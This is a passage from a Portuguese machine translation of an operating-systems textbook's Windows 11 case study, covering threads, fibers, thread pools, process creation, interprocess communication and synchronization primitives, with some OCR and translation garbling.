um aplicativo deseja agendar seus próprios contextos de execução, minimizando a sobrecarga de 
agendamento de threads pelo kernel. 


Machine Translated by Google 


932 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


NE 


pm Ca pn 
1 fibr: 


r= 


ibra ! 1 fibra ! ı fibra KS fibra ! 


r akad a 
I 
E | am mt O 


a li fibra ! ı fibra !ı fibra ! 
k [j I I 


U- -- ---! E e] 


Figura 11-22. A relação entre trabalhos, processos, threads e fibras. Empregos 


e as fibras são opcionais; nem todos os processos estão em funcionamento ou contêm fibras. 


Embora as fibras possam parecer promissoras no papel, elas enfrentam muitas dificuldades na 
prática. A maioria das bibliotecas Win32 desconhece completamente as fibras, e os aplicativos que 
tentam usar fibras como se fossem threads encontrarão diversas falhas. O kernel não tem 
conhecimento de fibras, e quando uma fibra entra no kernel, 

o thread em que ele está sendo executado pode bloquear e o kernel irá agendar um arbitrário 
thread no processador, tornando-o indisponível para executar outras fibras. Por estas razões, as 
fibras raramente são usadas, exceto quando se porta código de outros sistemas que necessitam 
explicitamente da funcionalidade fornecida pelas fibras. 


Conjuntos de threads 


O pool de threads do Win32 é um recurso baseado no thread do Windows 
modelo para fornecer uma melhor abstração para certos tipos de programas. Criação de tópico 
é muito caro para ser invocado toda vez que um programa deseja executar uma pequena tarefa 
simultaneamente com outras tarefas para aproveitar as vantagens de vários processadores. 
As tarefas podem ser agrupadas em tarefas maiores, mas isso reduz a quantidade de 
simultaneidade explorável no programa. Uma abordagem alternativa é para um programa 
para alocar um número limitado de threads e manter uma fila de tarefas que precisam ser 
ser executado. À medida que uma thread termina a execução de uma tarefa, ela pega outra da 
fila. Este modelo separa as questões de gerenciamento de recursos (quantos processadores estão 
disponíveis e quantos threads devem ser criados) do modelo de programação (o que é uma tarefa e 
como as tarefas são sincronizadas). O Windows maliza esta solução no pool de threads Win32, um 
conjunto de APIs para 
gerenciar um pool dinâmico de threads e despachar tarefas para eles. 

Pools de threads não são uma solução perfeita, porque quando um thread é bloqueado por algum 
recurso no meio de uma tarefa, o thread não pode mudar para uma tarefa diferente. Mas, 
o pool de threads inevitavelmente criará mais threads do que há processadores disponíveis, de modo 
que threads executáveis estarão disponíveis para serem agendados mesmo quando outros 
tópicos foram bloqueados. O pool de threads é integrado a muitos dos mecanismos comuns de 
sincronização, como aguardar a conclusão da E/S ou bloquear até 
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um evento do kernel é sinalizado. A sincronização pode ser usada como gatilhos para enfileirar um 
tarefa para que os threads não sejam atribuídos à tarefa antes que ela esteja pronta para ser executada. 

A implementação do pool de threads usa o mesmo recurso de fila fornecido 
para sincronização com conclusão de E/S, juntamente com uma fábrica de threads no modo kernel que 
adiciona mais threads ao processo conforme necessário para manter ocupado o número disponível de 
processadores. Existem pequenas tarefas em muitas aplicações, mas particularmente em 
aqueles que fornecem serviços no modelo de computação cliente/servidor, onde um fluxo 
de solicitações são enviadas dos clientes para o servidor. Uso de um pool de threads para estes 
cenários melhoram a eficiência do sistema, reduzindo a sobrecarga de criação de threads e movendo as 
decisões sobre como gerenciar os threads no pool 
fora do aplicativo e no sistema operacional. 


Um resumo das abstrações de execução da CPU é apresentado na Figura 11.23. 


Nome Descrição Notas 
Trabalho Coleção de processos que compartilham cotas e limites Usados em AppContainers 
Processo Contêiner para armazenar recursos 
Fio Entidade agendada pelo kernel 
Fibra Thread leve gerenciado inteiramente no espaço do usuário Raramente usado 
Modelo de programação orientado a tarefas ou pool de threads Construído em cima de threads 


Figura 11-23. Conceitos básicos usados para gerenciamento de CPU e recursos. 
Tópicos 


Todo processo normalmente começa com um thread, mas novos podem ser criados 
dinamicamente. Threads formam a base do escalonamento da CPU, já que o sistema operacional 
sempre seleciona um thread para executar, não um processo. Consequentemente, todo thread tem um estado 
(pronto, em execução, bloqueado, etc.), enquanto os processos não possuem estados de escalonamento. 
Threads podem ser criados dinamicamente por uma chamada Win32 que especifica o endereço 
dentro do espaço de endereço do processo envolvente no qual ele deve começar a ser executado. 
Cada thread tem um ID de thread, que é obtido do mesmo espaço que os IDs de processo, portanto, um 
único ID nunca pode ser usado tanto para um processo quanto para um thread no momento. 
mesmo tempo. Os IDs de processos e threads são múltiplos de quatro porque, na verdade, são 
alocado pelo executivo usando uma tabela de identificadores especial reservada para a alocação de IDs. 
O sistema está reutilizando o recurso escalonável de gerenciamento de identificadores ilustrado em 
Figos. 11-16 e 11-17. A tabela de identificadores não possui referências para objetos, mas 
usa o campo de ponteiro para apontar para o processo ou thread para que a pesquisa de um 
processo ou thread por ID é muito eficiente. A ordenação FIFO da lista de identificadores livres é 
ativado para a tabela de IDs em versões recentes do Windows para que os IDs não sejam 
imediatamente reutilizado. Os problemas com a reutilização imediata são explorados nos problemas no final 
deste capítulo. 
Um thread normalmente é executado no modo de usuário, mas quando faz um sistema chamá-lo 
muda para o modo kernel e continua a ser executado como o mesmo thread com o mesmo 


propriedades e limites que tinha no modo de usuário. Cada thread tem duas pilhas, uma para uso 
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quando estiver no modo de usuário e outro para uso quando estiver no modo kernel. Sempre que um 
thread entra no kernel, ele muda para a pilha do modo kernel. Os valores do 
registradores de modo de usuário são salvos em uma estrutura de dados CONTEXT na base do 
pilha de modo kernel. Como a única maneira de um thread no modo de usuário não estar em execução é 
para entrar no kernel, o CONTEXTO de um thread sempre contém seu registro 
estado quando não está em execução. O CONTEXTO de cada thread pode ser examinado e 
modificado de qualquer processo com um identificador para o thread. 

Threads normalmente são executados usando o token de acesso do processo que os contém, mas em 
Em certos casos relacionados à computação cliente/servidor, um thread em execução em um processo de 
serviço pode representar seu cliente, usando um token de acesso temporário baseado no cliente. 
token para que possa realizar operações em nome do cliente. (Em geral, um serviço não pode usar o token 
real do cliente, pois o cliente e o servidor podem estar em execução em sistemas diferentes.) 


Threads também são o ponto focal normal para E/S. Os threads são bloqueados ao realizar E/S 
síncrona, e os pacotes de solicitação de E/S pendentes para E/S assíncrona são vinculados ao thread. 
Quando um thread termina de ser executado, ele pode sair. 

Quaisquer solicitações de E/S pendentes para o thread serão canceladas. Quando o último tópico ainda 
ativo em um processo é encerrado, o processo é encerrado. 

Lembre-se de que threads são um conceito de agendamento, não um conceito de proprietário de 
recursos. Qualquer thread é capaz de acessar todos os objetos que pertencem ao seu processo. 

Tudo o que você precisa fazer é usar o valor do identificador e fazer a chamada Win32 apropriada. Lá 

não há restrição em um thread de que ele não pode acessar um objeto porque um diferente 

thread criou ou abriu. O sistema nem mesmo rastreia qual thread 

criou qual objeto. Depois que um identificador de objeto tiver sido colocado na tabela de manipuladores de 

um processo, qualquer thread no processo poderá usá-lo, mesmo que esteja representando um usuário diferente. 

Conforme descrito anteriormente, além dos threads normais executados no usuário 
processos O Windows possui vários threads de sistema que são executados apenas no modo kernel 
e não estão associados a nenhum processo do usuário. Todos esses threads de sistema são executados em 
um processo especial denominado processo do sistema. Este processo possui seu próprio espaço de 
anúncio no modo de usuário que pode ser usado pelos threads do sistema conforme necessário. Ele fornece 
o ambiente no qual os threads são executados quando não estão operando em nome de um determinado 
processo no modo de usuário. Estudaremos alguns desses tópicos mais tarde, quando chegarmos 
gerenciamento de memória. Alguns realizam tarefas administrativas, como escrever sujo 
páginas para o disco, enquanto outras formam o conjunto de threads de trabalho atribuídos a 
executar tarefas específicas de curto prazo delegadas por componentes executivos ou drivers que 
precisa realizar algum trabalho no processo do sistema. 


11.4.2 Chamadas de API de gerenciamento de trabalho, processo, thread e fibra 


Novos processos são criados usando a função CreateProcess da API Win32. Esse 
função tem muitos parâmetros e muitas opções. É preciso que o nome do arquivo seja 
executado, as strings de linha de comando (não analisadas) e um ponteiro para o ambiente 


cordas. Existem também alguns sinalizadores e valores que controlam muitos detalhes, como como 
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a segurança é configurada para o processo e primeiro thread, configuração do depurador e prioridades 
de agendamento. Um sinalizador também especifica se os identificadores abertos no criador devem 
ser passados para o novo processo. A função também usa o diretório de trabalho atual para o novo 
processo e uma estrutura de dados opcional com informações sobre a janela GUI que o processo 
deve usar. Em vez de retornar apenas um ID de processo para o novo processo, o Win32 retorna 
identificadores e IDs, tanto para o novo processo quanto para seu thread inicial. 


O grande número de parâmetros revela uma série de diferenças em relação ao 
projeto de criação de processos em UNIX. 


1. O caminho de pesquisa real para encontrar o programa a ser executado está oculto no 
código da biblioteca do Win32, mas é gerenciado de forma mais explícita no UNIX. 


2. O diretório de trabalho atual é um conceito de modo kernel no UNIX, mas uma string de 
modo de usuário no Windows. O Windows abre um identificador no diretório atual para 
cada processo, com o mesmo efeito irritante do UNIX: você não pode excluir o 
diretório, a menos que ele esteja na rede; nesse caso, você pode excluí- lo . 


3. O UNIX analisa a linha de comando e passa uma série de parâmetros, enquanto o 
Win32 deixa a análise dos argumentos para o programa individual. 
Como consequência, diferentes programas podem lidar com curingas (por exemplo, 
* txt) e outros símbolos especiais de forma inconsistente. 


4. Se os descritores de arquivo podem ser herdados no UNIX é uma propriedade do 
identificador. No Windows, é uma propriedade do identificador e um parâmetro para 
a criação do processo. 


5. O Win32 é orientado à GUI, portanto, novos processos recebem informações 
diretamente sobre sua janela principal, enquanto essas informações são passadas 
como parâmetros para aplicativos GUI no UNIX. 


6. O Windows não possui um bit SETUID como propriedade do executável, mas um 
processo pode criar um processo que seja executado como um usuário diferente, 
desde que possa obter um token com as credenciais desse usuário. 


7. O identificador de processo e thread retornado do Windows pode ser usado a qualquer 
momento para modificar o novo processo/thread de várias maneiras, incluindo 
modificação da memória virtual, injeção de threads no processo e alteração da 
execução de threads. O UNIX faz modificações no novo processo apenas entre as 
chamadas fork e exec , e apenas de maneiras limitadas, pois exec elimina todo o 
estado do modo de usuário do processo. 


Algumas dessas diferenças são históricas e filosóficas. O UNIX foi projetado para ser orientado 
por linha de comando em vez de orientado por GUI como o Windows. 
Os usuários do UNIX são mais sofisticados e entendem conceitos como variáveis PA TH. O Windows 
herdou muito legado do MS-DOS. 
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A comparação também é distorcida porque o Win32 é um wrapper de modo de usuário em torno 
a execução do processo nativo do NT, da mesma forma que a função da biblioteca do sistema envolve 
fork/exec no UNIX. O sistema NT atual exige a criação de processos e threads, 
NtCreateProcess e NtCreateThread são mais simples que as versões Win32. O 
Os principais parâmetros para a criação do processo NT são um identificador em uma seção que representa o 
arquivo de programa a ser executado, um sinalizador especificando se o novo processo deve, por padrão, 
herdar identificadores do criador e parâmetros relacionados ao modelo de segurança. Todos 
os detalhes de configuração das strings de ambiente e criação do thread inicial são 
deixado para o código do modo de usuário que pode usar o identificador do novo processo para manipular seu 
espaço de endereço virtual diretamente. 

Para suportar o subsistema POSIX, a criação de processos nativos tem a opção de criar um novo processo 
copiando o espaço de endereço virtual de outro processo em vez de 
do que mapear um objeto de seção para um novo programa. Isso é usado apenas para implementar 
fork para POSIX e não exposto pelo Win32. Como o POSIX não é mais fornecido com 
No Windows, a duplicação de processos tem pouca utilidade — embora às vezes desenvolvedores 
empreendedores inventem usos especiais, semelhantes aos usos de fork sem exec no UNIX. 
Um uso interessante é a geração de crashdump de processo. Quando um processo 
trava e um dump precisa ser gerado, um clone do espaço de endereço é criado 
usando a API de criação de processo nativa do NT, mas sem duplicação de identificador. Esse 
permite que a geração de crashdump demore enquanto o processo de travamento pode ser 
reiniciado com segurança sem encontrar violações, por exemplo, devido a arquivos ainda sendo 
aberto por seu clone. 

A criação de thread passa o contexto da CPU a ser usado para o novo thread (que 
inclui o ponteiro de pilha e o ponteiro de instrução inicial), um modelo para o TEB, 
e um sinalizador informando se o thread deve ser executado imediatamente ou criado em estado suspenso 
(aguardando que alguém chame NtResumeThread em seu identificador). A criação da pilha do modo de usuário 
e o envio dos parâmetros argv/argc são deixados para o código do modo de usuário que chama as APIs nativas 
de gerenciamento de memória do NT no arquivo de manipulação do processo. 


Na versão do Windows Vista, foi adicionada uma nova API nativa para processos, NtCreateUser Process, 
que move muitas das etapas do modo de usuário para o modo kernel executivo e combina a criação do 
processo com a criação do thread inicial. 

O motivo da mudança foi apoiar o uso de processos como limites de segurança. Normalmente, todos os 
processos criados por um usuário são considerados igualmente confiáveis. É o usuário, representado por um 
token, que determina onde está o limite de confiança. NtCreateUserProcess permite que os processos também 
forneçam limites de confiança, mas 

isso significa que o processo de criação não tem direitos suficientes em relação a um novo 

identificador de processo para implementar os detalhes da criação de processos no modo de usuário para 
processos que estão em um ambiente de confiança diferente. O principal uso de um processo em um 

limite de confiança diferente (que são chamados de processos protegidos) é suportar formulários 

de gerenciamento de direitos digitais, que protegem o material protegido por direitos autorais de ser usado 
indevidamente. É claro que os processos protegidos visam apenas ataques no modo de usuário contra 
conteúdo protegido e não pode impedir ataques no modo kernel. 
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Comunicação entre processos 


Threads podem se comunicar de diversas maneiras, incluindo pipes, pipes nomeados, mailslots, 
soquetes, chamadas de procedimento remoto e arquivos compartilhados. Os pipes possuem dois 
modos: byte e mensagem, selecionados no momento da criação. Os pipes no modo byte funcionam da 
mesma maneira que no UNIX. Os pipes no modo de mensagem são um tanto semelhantes, mas 
preservam os limites da mensagem, de modo que quatro gravações de 128 bytes serão lidas como 
quatro mensagens de 128 bytes, e não como uma mensagem de 512 bytes, como pode acontecer com 
os pipes no modo de byte. Os pipes nomeados também existem e possuem os mesmos dois modos dos pipes regulares. 
Pipes nomeados também podem ser usados em uma rede, mas pipes regulares não. 

Mailslots são um recurso do extinto sistema operacional OS/2 implementado no Windows para 
fins de compatibilidade. Eles são semelhantes aos canos em alguns aspectos, mas não em todos. Por 
um lado, eles são unilaterais, enquanto os tubos são bidirecionais. Eles poderiam ser usados em uma 
rede, mas não oferecem entrega garantida. Finalmente, eles permitem que o processo de envio 
transmita uma mensagem para vários receptores, em vez de apenas para um receptor. Tanto os 
mailslots quanto os pipes nomeados são implementados como sistemas de arquivos no Windows, em 
vez de funções executivas. Isso permite que eles sejam acessados pela rede usando os protocolos de 
sistema de arquivos remotos existentes. 

Soquetes são como tubos, exceto que normalmente conectam processos em máquinas diferentes. 
Por exemplo, um processo grava em um soquete e outro em uma máquina remota lê nele. Os soquetes 
podem ser usados em uma única máquina, mas são menos eficientes que os tubos. Os soquetes foram 
originalmente projetados para Berkeley UNIX e a implementação foi amplamente disponibilizada. Alguns 
dos códigos e estruturas de dados de Berkeley ainda estão presentes no Windows hoje, conforme 
reconhecido nas notas de lançamento do sistema. 


RPCs são uma forma de o processo A fazer com que o processo B chame um procedimento no 
espaço de endereço de B em nome de A e retorne o resultado para A. Existem diversas restrições nos 
parâmetros. Por exemplo, não faz sentido passar um ponteiro para um processo diferente, portanto as 
estruturas de dados precisam ser empacotadas e transmitidas de uma forma não específica do 
processo. O RPC normalmente é implementado como uma camada de abstração sobre uma camada 
de transporte. No caso do Windows, o transporte pode ser soquetes TCP/IP, pipes nomeados ou ALPC. 
ALPC é um recurso de passagem de mensagens no executivo do modo kernel. Ele é otimizado para 
comunicação entre processos na máquina local e não opera na rede. O design básico é para enviar 
mensagens que geram respostas, implementando uma versão leve de chamada de procedimento 
remoto sobre a qual o pacote RPC pode ser construído para fornecer um conjunto de recursos mais 
rico do que o disponível no ALPC. ALPC é implementado usando uma combinação de parâmetros de 
cópia e alocação temporária de memória compartilhada, com base no tamanho das mensagens. 


Finalmente, os processos podem compartilhar objetos. Entre eles estão os objetos de seção, que 
podem ser mapeados no espaço de endereço virtual de diferentes processos ao mesmo tempo. Todas 
as gravações feitas por um processo aparecem nos espaços de endereço dos outros processos. Usando 
este mecanismo, o buffer compartilhado usado em problemas produtor-consumidor pode ser facilmente 
implementado. 
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Os processos também podem usar vários tipos de objetos de sincronização. Assim como 
o Windows fornece vários mecanismos de comunicação entre processos, ele também fornece 
vários mecanismos de sincronização, incluindo eventos, semáforos, mutexes e vários primitivos 
de modo de usuário. Todos esses mecanismos funcionam com threads, não com processos, de 
modo que quando um thread é bloqueado em um semáforo, outros threads nesse processo 
(se houver) não são afetados e podem continuar em execução. 

Uma das primitivas de sincronização mais fundamentais expostas pelo kernel é o Evento. 
Eventos são objetos de modo kernel e, portanto, possuem descritores e identificadores de 
segurança. Os identificadores de eventos podem ser duplicados usando DuplicateHandle e 
passados para outro processo para que vários processos possam sincronizar no mesmo evento. 
Um evento também pode receber um nome no namespace Win32 e ter uma ACL definida para 
protegê-lo. Às vezes, compartilhar um evento pelo nome é mais apropriado do que duplicar o 
identificador. 

Como descrevemos anteriormente, existem dois tipos de eventos: eventos de notificação 
e eventos de sincronização. Um evento pode estar em um de dois estados: sinalizado ou não 
sinalizado. Um thread pode esperar que um evento seja sinalizado com WaitForSin gleObject. 
Se outro thread sinalizar um evento com SetEvent, o que acontecerá dependerá do tipo de 
evento. Com um evento de notificação, todos os threads em espera são liberados e o evento 
permanece definido até ser limpo manualmente com ResetEvent. Com um evento de 
sincronização, se um ou mais threads estiverem aguardando, exatamente um thread será 
liberado e o evento será limpo. Uma operação alternativa é PulseEvent, que é semelhante a 
SetEvent , exceto que se ninguém estiver esperando, o pulso será perdido e o evento será 
apagado. Em contraste, um SetEvent que ocorre sem threads em espera é lembrado deixando 
o evento no estado sinalizado para que um thread subsequente que chame uma API de espera 
para o evento não espere realmente. 

Os semáforos podem ser criados usando a função da API CreateSemaphore Win32, que 
também pode inicializá-los com um determinado valor e definir um valor máximo. 

Assim como os eventos, os semáforos também são objetos do modo kernel. Existem chamadas 
para up e down , embora tenham nomes um tanto estranhos de ReleaseSemaphore (up) e 
WaitForSingleObject (down). Também é possível conceder um tempo limite a 
WaitForSingleObject , para que o thread de chamada possa ser liberado eventualmente, mesmo 
se o semáforo permanecer em 0. WaitForSingleObject e WaitForMultipleObjects são as 
interfaces comuns usadas para aguardar os objetos despachantes discutidos na Seção 1. 11.3. 
Embora fosse possível agrupar a versão de objeto único dessas APIs em um wrapper com um 
nome um pouco mais amigável ao semáforo, muitos threads usam a versão de objeto múltiplo, 
que pode incluir a espera por vários tipos de objetos de sincronização, bem como outros 
eventos, como encerramento de processo ou thread, conclusão de E/S e mensagens disponíveis 
em soquetes e portas. 

Mutexes também são objetos de modo kernel usados para sincronização, mas mais 
simples que semáforos porque não possuem contadores. Eles são essencialmente bloqueios, 
com funções de API para bloquear WaitForSingleObject e desbloquear ReleaseMutex. 
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Assim como os identificadores de semáforo, os identificadores mutex podem ser duplicados e passados entre 
processos para que threads em processos diferentes possam acessar o mesmo mutex. 

Outro mecanismo de sincronização é chamado de Seções Críticas, que implementa o conceito de regiões 
críticas. Eles são semelhantes aos mutexes do Windows, 
exceto local para o espaço de endereço do thread de criação. Porque seções críticas 
não são objetos de modo kernel, não possuem identificadores explícitos ou descritores de segurança e não 
podem ser transmitidos entre processos. O bloqueio e o desbloqueio são feitos com 
EnterCr iticalSection e LeaveCr iticalSection, respectivamente. Porque essas APIs 
funções são executadas inicialmente no espaço do usuário e fazem chamadas ao kernel somente quando 
é necessário bloqueio, eles são muito mais rápidos que mutexes. As seções críticas são otimizadas para 
combinar bloqueios de rotação (em multiprocessadores) com o uso de sincronização de kernel somente quando 
necessário. Em muitas aplicações, as seções mais críticas são tão 
raramente disputados ou têm tempos de espera tão curtos que nunca é necessário alocar 
um objeto de sincronização do kernel. Isso resulta em uma economia muito significativa no kernel 
memória. 

Os bloqueios SRW (bloqueios Slim Reader-Writer) são outro tipo de bloqueio local de processo. 
lock implementado no modo de usuário como seções críticas, mas eles suportam aquisição exclusiva e 
compartilhada por meio das APIs AcquireSRWLockExclusive e AcquireSR WLockShared e as funções de 
liberação correspondentes. Quando a trava é mantida 
compartilhada, se uma aquisição exclusiva chegar (e começar a esperar), as tentativas de aquisição 
compartilhada subsequentes serão bloqueadas para evitar a fome dos garçons exclusivos. Uma grande vantagem do SRW 
locks é que eles têm o tamanho de um ponteiro, o que permite que sejam usados para sincronização granular 
de pequenas estruturas de dados. Ao contrário das seções críticas, os bloqueios SRW fazem 
não suporta aquisição recursiva, o que geralmente não é uma boa ideia. 

Às vezes, os aplicativos precisam verificar algum estado protegido por um bloqueio e esperar 
até que uma condição seja satisfeita de forma sincronizada. Exemplos são problemas de produtor-consumidor 
ou de buffer limitado. O Windows fornece variáveis de condição para estes 


situações. Eles permitem que o chamador libere atomicamente um bloqueio, seja uma seção crítica ou um 


bloqueio SRW, e entre em estado de suspensão usando SleepConditionVar iableCS. 
e APIs SleepConditionVar iableSRW . Um thread mudando de estado pode despertar qualquer 


garçons via WakeConditionVar iable ou WakeAllConditionVar iable. 

Duas outras primitivas úteis de sincronização no modo de usuário fornecidas pelo Windows 
são WaitOnAddress e InitOnceExecuteOnce. WaitOnAddress é chamado para esperar 
para que o valor no endereço especificado seja modificado. A aplicação deve chamar 
WakeByAddressSingle (ou WakeByAddressAll ) após modificar o local 
para ativar o primeiro (ou todos) os threads que chamaram WaitOnAddress naquele 
localização. A vantagem desta API em relação ao uso de eventos é que não é necessário 
alocar um evento explícito para sincronização. Em vez disso, o sistema faz o hash do 
endereço do local para encontrar uma lista de todos os garçons para alterações em um determinado 
endereço. Funções WaitOnAddress semelhantes ao mecanismo de suspensão/despertar encontrado 
no kernel UNIX. As seções críticas mencionadas anteriormente, na verdade, usam a primitiva de vestido 
WaitOnAd para sua implementação. InitOnceExecuteOnce pode ser usado para 


garantir que uma rotina de inicialização seja executada exatamente uma vez em um programa. Correto 


Machine Translated by Google 


940 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


a inicialização de estruturas de dados é surpreendentemente difícil em programas multithread e 
esta primitiva fornece uma maneira muito simples de garantir correção e alto desempenho 
ança. 

Até agora, discutimos os mecanismos de sincronização mais populares fornecidos 
pelo Windows para programas em modo de usuário. Existem muitos outros primitivos expostos a 
chamadores de modo kernel. Alguns exemplos são EResources que são bloqueios de leitor-gravador 
normalmente usado pela pilha do sistema de arquivos que suporta cenários incomuns, como 
transferência de propriedade de bloqueio entre threads. FastMutex é um bloqueio exclusivo semelhante a um 
seção crítica e PushLocks são o análogo do modo kernel dos bloqueios SRW. A 
variante de pushlocks de alto desempenho, chamada PushLock com reconhecimento de cache, é 
implementado para fornecer escalabilidade mesmo em máquinas com centenas de processadores 
núcleos. Um pushlock com reconhecimento de cache é composto de muitos pushlocks, um para cada processador 
(ou pequenos grupos de processadores). É direcionado a cenários onde exclusividade 
as aquisições são raras. As aquisições compartilhadas adquirem apenas o pushlock local associado ao 
o processador enquanto adquire exclusivo deve adquirir cada pushlock. Apenas adquirir um bloqueio local no 
caso comum resulta em cache do processador muito mais eficiente 
comportamento especialmente em máquinas multi NUMA. Embora o pushlock com reconhecimento de cache seja 
ótimo para escalabilidade, tem um grande custo de memória e, portanto, nem sempre é 
apropriado para uso em estruturas de dados pequenas e multiplicativas. A expansão automática 
PushLock oferece um bom compromisso: ele começa como um único pushlock, levando 
ocupa apenas dois ponteiros no espaço, mas automaticamente "expande" para se tornar um 
pushlock com reconhecimento de cache quando detecta um alto grau de contenção de cache devido a 
aquisições compartilhadas simultâneas. 

Um resumo dessas primitivas de sincronização é fornecido na Figura 11.24. 


Primitivo Objeto Kernel Kernel/Usuário Compartilhado/Exclusivo 
Evento Sim Ambos N/D 
Semáforo Sim Ambos N/D 
Mutex Sim Ambos Exclusivo 
Seção Crítica Não Modo de usuário Exclusivo 
Bloqueio SRW Não Modo de usuário Compartilhado 
Variável de condição Não Modo de usuário N/D 
InitOnce Não Modo de usuário N/D 
WaitOnAddress Não Modo de usuário N/D 
ERecurso Não Modo kernel compartilhado 
FastMutex Não Modo Kernel Exclusivp 
PushLock Não Modo Kernel Compartilhado 
PushLock com reconhecimento de cache Não Modo Kernel Compartilhado 
PushLock de expansão automática nab Modo Kernel Compartilhado 


Figura 11-24. Resumo das primitivas de sincronização fornecidas pelo Windows. 
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11.4.3 Implementação de Processos e Threads 


Nesta seção, entraremos em mais detalhes sobre como o Windows cria um processo (e o 
thread inicial). Como o Win32 é a interface mais documentada, começaremos por aí. Mas iremos 
rapidamente avançar para o kernel e entender a implementação da chamada de API nativa para 
criar um novo processo. Vamos nos concentrar nos principais caminhos de código que são 
executados sempre que os processos são criados, bem como examinar alguns detalhes que 
preenchem lacunas no que abordamos até agora. 


Um processo é criado quando outro processo faz a chamada Win32 CreateProcess . Essa 
chamada invoca um procedimento de modo de usuário em kernelbase.dil que faz uma chamada 
para NtCreateUserProcess no kernel para criar o processo em várias etapas. 


1. Converta o nome do arquivo executável fornecido como parâmetro de um nome de 
caminho Win32 para um nome de caminho NT. Se o executável tiver apenas um 
nome sem um nome de caminho de diretório, ele será procurado na lista de 
diretórios ed nos diretórios padrão (que incluem, mas não estão limitados a, 
aqueles na variável PATH no ambiente). 


2. Agrupe os parâmetros de criação do processo e passe-os, juntamente com o nome do caminho 
completo do programa executável, para a API nativa NtCreateUserProcess. 


3. Executando no modo kernel, o NtCreateUserProcess processa os parâmetros, 
depois abre a imagem do programa e cria um objeto de seção que pode ser usado 
para mapear o programa no espaço de endereço virtual do novo processo. 


4. O gerenciador de processos aloca e inicializa o objeto de processo (a estrutura de 
dados do kernel que representa um processo para as camadas kernel e executiva). 


5. O gerenciador de memória cria o espaço de endereço para o novo processo 
alocando e inicializando os diretórios de páginas e os descritores de endereço 
virtual que descrevem a parte do modo kernel, incluindo as regiões específicas do 
processo, como as entradas do diretório de páginas de automapeamento . que dá 
a cada processo acesso no modo kernel às páginas físicas em toda a tabela de 
páginas usando endereços virtuais do kernel. (Descreveremos o automapa com 
mais detalhes na Seção 11.5.) 


6. Uma tabela de identificadores é criada para o novo processo e todos os 
identificadores do cnamador que podem ser herdados são duplicados nela. 


7. A página de usuário compartilhada é mapeada e o gerenciador de memória inicializa 
as estruturas de dados do conjunto de trabalho usadas para decidir quais páginas 
cortar de um processo quando a memória física está baixa. A imagem executável 
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representados pelo objeto de seção são mapeados para o novo processo' 


espaço de endereço do modo de usuário. 


8. O executivo cria e inicializa o PEB em modo de usuário, que é 
usado pelos processos do modo de usuário e pelo kernel para manter informações 


de estado de todo o processo, como os ponteiros de heap do modo de usuário e 
a lista de bibliotecas carregadas (DLLs). 


9. A memória virtual é alocada no novo processo e usada para passar 
parâmetros, incluindo as strings de ambiente e linha de comando. 


10. Um ID de processo é alocado na tabela de identificadores especiais (tabela de IDs) 


O kernel mantém para alocar de forma eficiente IDs localmente exclusivos para 
processos e threads. 


11. Um objeto thread é alocado e inicializado. Uma pilha de modo de usuário é alocada 
junto com o Thread Environment Block. O CONTEXTO 
registro que contém os valores iniciais do thread para os registros da CPU 
(incluindo a instrução e os ponteiros de pilha) é inicializado. 


12. O objeto de processo é adicionado à lista global de processos. Alças 


para o processo e os objetos thread são alocados no identificador do cnamador 
mesa. Um ID para o thread inicial é alocado na tabela de IDs. 


13. NtCreateUserProcess retorna ao modo de usuário com o novo processo 
criado, contendo um único thread que está pronto para ser executado, mas suspenso. 


14. Se a API do NT falhar, o código Win32 verifica se isso pode ser um problema. 
processo pertencente a outro subsistema como WoW64. Ou talvez o 
o programa está marcado para ser executado no depurador. Esses 


casos especiais são tratados com código especial no código Cre ateProcess do 
modo de usuário . 


15. Se o NtCreateUserProcess foi bem-sucedido, ainda há algum trabalho a ser feito 
feito. Os processos Win32 devem ser registrados no processo do subsistema Win32, 
csrss.exe. Kernelbase.dll envia uma mensagem para csrss informando-o sobre o 
novo processo junto com os arquivos manuais de processo e thread para que ele 
possa se duplicar. O processo e os threads são inseridos em 
as tabelas dos subsistemas para que tenham uma lista completa de todos os Win32 
processos e threads. O subsistema então exibe um cursor contendo um ponteiro 
com uma ampulheta para informar ao usuário que algo está acontecendo. 
acontecendo, mas que o cursor pode ser usado enquanto isso. Quando o 
processo faz sua primeira chamada GUI, geralmente para criar uma janela, o cursor 
é removido (ele expira após 2 segundos se nenhuma chamada for recebida). 


16. Se o processo for restrito, como um navegador de Internet com direitos reduzidos, o 
token é modificado para restringir quais objetos o novo processo pode acessar. 
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17. Se o programa aplicativo foi marcado como precisando de correção para ser executado 
de forma compatível com a versão atual do Windows, as correções especificadas 
serão aplicadas. Os shims geralmente agrupam chamadas de biblioteca para 
modificar ligeiramente seu comportamento, como retornar um número de versão 
falso ou atrasar a liberação de memória para solucionar bugs em aplicativos. 


18. Por fim, cname NtResumeThread para cancelar a suspensão do thread e retornar a 
estrutura ao chamador contendo os IDs e identificadores do processo e thread que 
acabaram de ser criados. 


Nas versões anteriores do Windows, grande parte do algoritmo para criação de processos foi 
implementado no procedimento de modo de usuário que criaria um novo processo usando várias 
chamadas de sistema e executando outro trabalho usando as APIs nativas do NT que suportam a 
implementação de subsistemas. Essas etapas foram movidas para o kernel para reduzir a capacidade 
do processo pai de manipular o processo filho nos casos em que o filho está executando um programa 
protegido, como um que implementa DRM para proteger filmes contra pirataria. 


A API nativa original, NtCreateProcess, ainda é suportada pelo sistema, portanto grande parte 
da criação do processo ainda pode ser feita no modo de usuário do processo pai — desde que o 
processo que está sendo criado não seja um processo protegido. 

Geralmente, quando o componente do modo kernel precisa mapear arquivos ou alocar memória 
em um espaço de endereço do modo de usuário, eles podem usar o processo do sistema. No 
entanto, algumas vezes um espaço de endereço dedicado é desejado para melhor isolamento, uma 
vez que o espaço de endereço do modo de usuário do processo do sistema é acessível a todas as 
entidades do modo kernel. Para tais necessidades, o Windows oferece suporte ao conceito de 
Processo Mínimo. Um processo mínimo é apenas um espaço de endereço; sua criação ignora a 
maioria das etapas descritas acima, pois não se destina à execução. Não possui página de usuário 
compartilhada, ou PEB, ou qualquer thread de modo de usuário. Nenhuma DLL é mapeada em seu 
espaço de endereço; está totalmente vazio na criação. E certamente não é registrado no subsistema 
Win32. Na verdade, os processos mínimos são expostos apenas aos componentes do kernel do 


sistema operacional; nem mesmo motoristas. Alguns exemplos de componentes do kernel que usam 
processos mínimos estão listados abaixo: 


1. Registro: O registro cria um processo mínimo chamado "Registro" e mapeia suas 
seções de registro no espaço de endereço do modo de usuário do processo. Isso 
